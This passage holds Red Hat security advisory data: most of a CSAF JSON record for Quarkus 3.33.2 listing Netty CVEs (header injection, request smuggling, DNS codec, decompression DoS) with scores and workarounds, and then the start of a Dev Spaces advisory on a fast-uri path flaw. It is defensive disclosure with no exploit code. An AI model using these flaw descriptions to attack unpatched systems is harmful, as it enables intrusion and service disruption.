"summary": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.33.2",
"url": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.33.2"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.33",
"url": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.33"
},
{
"category": "external",
"summary": "QUARKUS-7634",
"url": "https://issues.redhat.com/browse/QUARKUS-7634"
},
{
"category": "external",
"summary": "QUARKUS-7635",
"url": "https://issues.redhat.com/browse/QUARKUS-7635"
},
{
"category": "external",
"summary": "QUARKUS-7636",
"url": "https://issues.redhat.com/browse/QUARKUS-7636"
},
{
"category": "external",
"summary": "QUARKUS-7637",
"url": "https://issues.redhat.com/browse/QUARKUS-7637"
},
{
"category": "external",
"summary": "QUARKUS-7638",
"url": "https://issues.redhat.com/browse/QUARKUS-7638"
},
{
"category": "external",
"summary": "QUARKUS-7639",
"url": "https://issues.redhat.com/browse/QUARKUS-7639"
},
{
"category": "external",
"summary": "QUARKUS-7640",
"url": "https://issues.redhat.com/browse/QUARKUS-7640"
},
{
"category": "external",
"summary": "QUARKUS-7641",
"url": "https://issues.redhat.com/browse/QUARKUS-7641"
},
{
"category": "external",
"summary": "QUARKUS-7642",
"url": "https://issues.redhat.com/browse/QUARKUS-7642"
},
{
"category": "external",
"summary": "QUARKUS-7643",
"url": "https://issues.redhat.com/browse/QUARKUS-7643"
},
{
"category": "external",
"summary": "QUARKUS-7644",
"url": "https://issues.redhat.com/browse/QUARKUS-7644"
},
{
"category": "external",
"summary": "QUARKUS-7645",
"url": "https://issues.redhat.com/browse/QUARKUS-7645"
},
{
"category": "external",
"summary": "QUARKUS-7646",
"url": "https://issues.redhat.com/browse/QUARKUS-7646"
},
{
"category": "external",
"summary": "QUARKUS-7647",
"url": "https://issues.redhat.com/browse/QUARKUS-7647"
},
{
"category": "external",
"summary": "QUARKUS-7648",
"url": "https://issues.redhat.com/browse/QUARKUS-7648"
},
{
"category": "external",
"summary": "QUARKUS-7649",
"url": "https://issues.redhat.com/browse/QUARKUS-7649"
},
{
"category": "external",
"summary": "QUARKUS-7650",
"url": "https://issues.redhat.com/browse/QUARKUS-7650"
},
{
"category": "external",
"summary": "QUARKUS-7651",
"url": "https://issues.redhat.com/browse/QUARKUS-7651"
},
{
"category": "external",
"summary": "QUARKUS-7652",
"url": "https://issues.redhat.com/browse/QUARKUS-7652"
},
{
"category": "external",
"summary": "QUARKUS-7653",
"url": "https://issues.redhat.com/browse/QUARKUS-7653"
},
{
"category": "external",
"summary": "QUARKUS-7654",
"url": "https://issues.redhat.com/browse/QUARKUS-7654"
},
{
"category": "external",
"summary": "QUARKUS-7655",
"url": "https://issues.redhat.com/browse/QUARKUS-7655"
},
{
"category": "external",
"summary": "QUARKUS-7656",
"url": "https://issues.redhat.com/browse/QUARKUS-7656"
},
{
"category": "external",
"summary": "QUARKUS-7657",
"url": "https://issues.redhat.com/browse/QUARKUS-7657"
},
{
"category": "external",
"summary": "QUARKUS-7658",
"url": "https://issues.redhat.com/browse/QUARKUS-7658"
},
{
"category": "external",
"summary": "QUARKUS-7659",
"url": "https://issues.redhat.com/browse/QUARKUS-7659"
},
{
"category": "external",
"summary": "QUARKUS-7660",
"url": "https://issues.redhat.com/browse/QUARKUS-7660"
},
{
"category": "external",
"summary": "QUARKUS-7661",
"url": "https://issues.redhat.com/browse/QUARKUS-7661"
},
{
"category": "external",
"summary": "QUARKUS-7666",
"url": "https://issues.redhat.com/browse/QUARKUS-7666"
},
{
"category": "external",
"summary": "QUARKUS-7686",
"url": "https://issues.redhat.com/browse/QUARKUS-7686"
},
{
"category": "external",
"summary": "QUARKUS-7727",
"url": "https://issues.redhat.com/browse/QUARKUS-7727"
},
{
"category": "external",
"summary": "QUARKUS-7728",
"url": "https://issues.redhat.com/browse/QUARKUS-7728"
},
{
"category": "external",
"summary": "QUARKUS-7729",
"url": "https://issues.redhat.com/browse/QUARKUS-7729"
},
{
"category": "external",
"summary": "QUARKUS-7730",
"url": "https://issues.redhat.com/browse/QUARKUS-7730"
},
{
"category": "external",
"summary": "QUARKUS-7731",
"url": "https://issues.redhat.com/browse/QUARKUS-7731"
},
{
"category": "external",
"summary": "QUARKUS-7732",
"url": "https://issues.redhat.com/browse/QUARKUS-7732"
},
{
"category": "external",
"summary": "QUARKUS-7733",
"url": "https://issues.redhat.com/browse/QUARKUS-7733"
},
{
"category": "external",
"summary": "QUARKUS-7734",
"url": "https://issues.redhat.com/browse/QUARKUS-7734"
},
{
"category": "external",
"summary": "QUARKUS-7735",
"url": "https://issues.redhat.com/browse/QUARKUS-7735"
},
{
"category": "external",
"summary": "QUARKUS-7736",
"url": "https://issues.redhat.com/browse/QUARKUS-7736"
},
{
"category": "external",
"summary": "QUARKUS-7737",
"url": "https://issues.redhat.com/browse/QUARKUS-7737"
},
{
"category": "external",
"summary": "QUARKUS-7738",
"url": "https://issues.redhat.com/browse/QUARKUS-7738"
},
{
"category": "external",
"summary": "QUARKUS-7739",
"url": "https://issues.redhat.com/browse/QUARKUS-7739"
},
{
"category": "external",
"summary": "QUARKUS-7740",
"url": "https://issues.redhat.com/browse/QUARKUS-7740"
},
{
"category": "external",
"summary": "QUARKUS-7741",
"url": "https://issues.redhat.com/browse/QUARKUS-7741"
},
{
"category": "external",
"summary": "QUARKUS-7742",
"url": "https://issues.redhat.com/browse/QUARKUS-7742"
},
{
"category": "external",
"summary": "QUARKUS-7743",
"url": "https://issues.redhat.com/browse/QUARKUS-7743"
},
{
"category": "external",
"summary": "QUARKUS-7744",
"url": "https://issues.redhat.com/browse/QUARKUS-7744"
},
{
"category": "external",
"summary": "QUARKUS-7745",
"url": "https://issues.redhat.com/browse/QUARKUS-7745"
},
{
"category": "external",
"summary": "QUARKUS-7746",
"url": "https://issues.redhat.com/browse/QUARKUS-7746"
},
{
"category": "external",
"summary": "QUARKUS-7747",
"url": "https://issues.redhat.com/browse/QUARKUS-7747"
},
{
"category": "external",
"summary": "QUARKUS-7748",
"url": "https://issues.redhat.com/browse/QUARKUS-7748"
},
{
"category": "external",
"summary": "QUARKUS-7749",
"url": "https://issues.redhat.com/browse/QUARKUS-7749"
},
{
"category": "external",
"summary": "QUARKUS-7750",
"url": "https://issues.redhat.com/browse/QUARKUS-7750"
},
{
"category": "external",
"summary": "QUARKUS-7751",
"url": "https://issues.redhat.com/browse/QUARKUS-7751"
},
{
"category": "external",
"summary": "QUARKUS-7752",
"url": "https://issues.redhat.com/browse/QUARKUS-7752"
},
{
"category": "external",
"summary": "QUARKUS-7753",
"url": "https://issues.redhat.com/browse/QUARKUS-7753"
},
{
"category": "external",
"summary": "QUARKUS-7754",
"url": "https://issues.redhat.com/browse/QUARKUS-7754"
},
{
"category": "external",
"summary": "QUARKUS-7783",
"url": "https://issues.redhat.com/browse/QUARKUS-7783"
},
{
"category": "external",
"summary": "QUARKUS-7784",
"url": "https://issues.redhat.com/browse/QUARKUS-7784"
},
{
"category": "external",
"summary": "QUARKUS-7785",
"url": "https://issues.redhat.com/browse/QUARKUS-7785"
},
{
"category": "external",
"summary": "QUARKUS-7786",
"url": "https://issues.redhat.com/browse/QUARKUS-7786"
},
{
"category": "external",
"summary": "QUARKUS-7787",
"url": "https://issues.redhat.com/browse/QUARKUS-7787"
},
{
"category": "external",
"summary": "QUARKUS-7788",
"url": "https://issues.redhat.com/browse/QUARKUS-7788"
},
{
"category": "external",
"summary": "QUARKUS-7789",
"url": "https://issues.redhat.com/browse/QUARKUS-7789"
},
{
"category": "external",
"summary": "QUARKUS-7790",
"url": "https://issues.redhat.com/browse/QUARKUS-7790"
},
{
"category": "external",
"summary": "QUARKUS-7791",
"url": "https://issues.redhat.com/browse/QUARKUS-7791"
},
{
"category": "external",
"summary": "QUARKUS-7795",
"url": "https://issues.redhat.com/browse/QUARKUS-7795"
},
{
"category": "external",
"summary": "QUARKUS-7796",
"url": "https://issues.redhat.com/browse/QUARKUS-7796"
},
{
"category": "external",
"summary": "QUARKUS-7797",
"url": "https://issues.redhat.com/browse/QUARKUS-7797"
},
{
"category": "external",
"summary": "QUARKUS-7798",
"url": "https://issues.redhat.com/browse/QUARKUS-7798"
},
{
"category": "external",
"summary": "QUARKUS-7799",
"url": "https://issues.redhat.com/browse/QUARKUS-7799"
},
{
"category": "external",
"summary": "QUARKUS-7810",
"url": "https://issues.redhat.com/browse/QUARKUS-7810"
},
{
"category": "external",
"summary": "QUARKUS-7811",
"url": "https://issues.redhat.com/browse/QUARKUS-7811"
},
{
"category": "external",
"summary": "QUARKUS-7843",
"url": "https://issues.redhat.com/browse/QUARKUS-7843"
},
{
"category": "external",
"summary": "QUARKUS-7863",
"url": "https://issues.redhat.com/browse/QUARKUS-7863"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_24502.json"
}
],
"title": "Red Hat Security Advisory: Red Hat build of Quarkus 3.33.2 release and security update",
"tracking": {
"current_release_date": "2026-08-12T19:42:39+00:00",
"generator": {
"date": "2026-08-12T19:42:39+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.14"
}
},
"id": "RHSA-2026:24502",
"initial_release_date": "2026-06-10T12:09:05+00:00",
"revision_history": [
{
"date": "2026-06-10T12:09:05+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-06-11T12:08:18+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-08-12T19:42:39+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat build of Quarkus 3.33.2",
"product": {
"name": "Red Hat build of Quarkus 3.33.2",
"product_id": "Red Hat build of Quarkus 3.33.2",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:quarkus:3.33::el8"
}
}
}
],
"category": "product_family",
"name": "Red Hat build of Quarkus"
}
],
"category": "vendor",
"name": "Red Hat"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-42578",
"cwe": {
"id": "CWE-93",
"name": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
},
"discovery_date": "2026-05-13T19:02:00.826936+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477226"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected behavior or potential bypass of security controls on the proxy server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: This vulnerability in Netty\u0027s HttpProxyHandler allows for HTTP header injection into CONNECT requests when an attacker can influence outbound headers. The handler\u0027s explicit disabling of header validation could enable proxy-related attacks, such as cache poisoning or bypassing security controls, impacting applications utilizing this component.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.33.2"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42578"
},
{
"category": "external",
"summary": "RHBZ#2477226",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477226"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42578",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
}
],
"release_date": "2026-05-13T17:57:43.538000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:09:05+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"category": "workaround",
"details": "Applications utilizing Netty\u0027s HttpProxyHandler must ensure that any user-controlled input used to populate outbound headers is rigorously sanitized to prevent CRLF injection. If comprehensive input sanitization cannot be implemented, restricting network access to the application that uses the HttpProxyHandler can reduce the attack surface.",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation"
},
{
"cve": "CVE-2026-42579",
"cwe": {
"id": "CWE-1286",
"name": "Improper Validation of Syntactic Correctness of Input"
},
"discovery_date": "2026-05-13T19:01:25.062732+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477217"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. Netty\u0027s DNS (Domain Name System) codec does not properly enforce domain name constraints as defined in RFC 1035 during both encoding and decoding processes. This vulnerability allows a remote attacker to exploit the decoder using malicious DNS responses or exploit the encoder through user-influenced hostnames, leading to a high integrity impact on the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: Netty: High integrity impact due to improper DNS domain name constraint enforcement",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important integrity flaw in Netty\u0027s DNS codec. The vulnerability arises from insufficient enforcement of RFC 1035 domain name constraints during both encoding and decoding, allowing remote attackers to manipulate DNS responses or user-controlled hostnames. This could lead to a high integrity impact on affected Red Hat products that utilize the vulnerable Netty DNS codec.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.33.2"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42579"
},
{
"category": "external",
"summary": "RHBZ#2477217",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477217"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42579",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42579"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
}
],
"release_date": "2026-05-13T18:01:52.500000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:09:05+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: Netty: High integrity impact due to improper DNS domain name constraint enforcement"
},
{
"cve": "CVE-2026-42581",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-05-13T19:02:26.404511+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477232"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty\u0027s HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both `Transfer-Encoding: chunked` and `Content-Length` headers. While Netty correctly strips the conflicting `Content-Length` header for HTTP/1.1 messages, this guard is absent for HTTP/1.0. This can lead to HTTP request smuggling, where downstream proxies or handlers may misinterpret message boundaries, potentially allowing an attacker to bypass security controls or access unauthorized information.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw. Netty\u0027s HttpObjectDecoder, used across various Red Hat products, improperly handles conflicting `Transfer-Encoding: chunked` and `Content-Length` headers in HTTP/1.0 requests. This allows a remote attacker to perform HTTP request smuggling, potentially bypassing security controls or gaining unauthorized access to information due to misinterpretation of message boundaries by downstream proxies or handlers.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.33.2"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42581"
},
{
"category": "external",
"summary": "RHBZ#2477232",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477232"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42581",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42581"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
}
],
"release_date": "2026-05-13T17:54:44.492000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:09:05+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"category": "workaround",
"details": "To mitigate this issue, configure any reverse proxies or load balancers in front of Netty to either reject HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers, or to explicitly prioritize the Transfer-Encoding header over Content-Length for HTTP/1.0 traffic. This ensures consistent interpretation of message boundaries and prevents request smuggling attacks.",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers"
},
{
"cve": "CVE-2026-42584",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-05-13T19:01:51.846351+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477224"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A flaw in Netty\u0027s HttpClientCodec allows a remote attacker to cause data confusion. By sending a specially crafted sequence of HTTP responses, an attacker can cause subsequent HTTP responses to be parsed incorrectly, potentially leading to information disclosure or data integrity issues in applications utilizing Netty for HTTP client operations. This vulnerability affects various Red Hat products that bundle Netty, including Red Hat AMQ, Enterprise Application Platform, Red Hat Build of Quarkus, and Red Hat Build of Keycloak.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.33.2"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42584"
},
{
"category": "external",
"summary": "RHBZ#2477224",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477224"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42584",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42584"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
}
],
"release_date": "2026-05-13T18:10:48.437000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:09:05+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion"
},
{
"cve": "CVE-2026-42587",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-05-13T19:01:35.415881+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477220"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial of service vulnerability in Netty\u0027s HTTP content decompression. A remote attacker can exploit this flaw by sending specially crafted compressed payloads using Brotli, Zstandard, or Snappy encodings, bypassing configured decompression limits. This leads to unbounded memory allocation, potentially causing an out-of-memory condition and rendering affected Red Hat systems unavailable.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.33.2"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"category": "external",
"summary": "RHBZ#2477220",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477220"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42587",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42587"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"release_date": "2026-05-13T18:22:21.699000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:09:05+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression"
}
]
}
RHSA-2026:25123
Vulnerability from csaf_redhat - Published: 2026-06-10 19:42 - Updated: 2026-08-19 20:57Summary
Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.2 Release.
Severity
Important
Notes
Topic: Red Hat OpenShift Dev Spaces 3.28.2 has been released.
Details: This release provides security fixes for Dev Spaces components.
https://access.redhat.com/support/policy/updates/openshift#crw
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in fast-uri. A remote attacker could exploit this vulnerability by providing a specially crafted Uniform Resource Locator (URL) containing percent-encoded path separators and dot segments. Due to incorrect processing, fast-uri would decode these elements before proper normalization, leading to distinct URLs resolving to the same internal path. This could allow an attacker to bypass security policies that rely on path-based comparisons, potentially gaining unauthorized access to resources.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64 | — |
